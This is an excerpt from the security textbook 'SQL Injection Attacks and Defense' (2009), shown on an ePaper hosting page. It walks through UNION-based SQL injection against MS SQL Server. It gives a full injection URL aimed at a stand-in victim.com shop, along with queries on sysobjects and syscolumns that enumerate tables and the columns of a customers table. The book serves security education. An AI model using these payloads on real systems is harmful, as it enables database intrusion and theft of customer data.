28.10.2014 Views

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SQL Injection Attacks and Defense - 2009

SHOW MORE
SHOW LESS

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

Exploiting <strong>SQL</strong> <strong>Injection</strong> • Chapter 4 173<br />

we are only interested in the rows where the type is U. Assuming that we want to delve a little<br />

deeper into the contents of the e–shop database, here’s the query to inject:<br />

SELECT name FROM e–shop..sysobjects WHERE xtype='U'<br />

The corresponding URL is obviously the following:<br />

http://www.victim.com/products.aspid=12+union+select+null,name,null,<br />

null+from+e–shop..sysobjects+where+xtype%3D'U'--<br />

The page that results will look something like the screenshot shown in Figure 4.12.<br />

Figure 4.12 Enumerating All Tables of a Specific Database<br />

As you can see, there are some interesting tables, with customers <strong>and</strong> transactions probably<br />

being the ones with the most promising contents! To extract that data, the next step is to<br />

enumerate the columns of these tables. We will look at two different ways to extract the<br />

names of the columns of a given table (e.g., customers). Here is the first one:<br />

SELECT name FROM e–shop..syscolumns WHERE id = (SELECT id FROM<br />

e–shop..sysobjects WHERE name = 'customers')

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!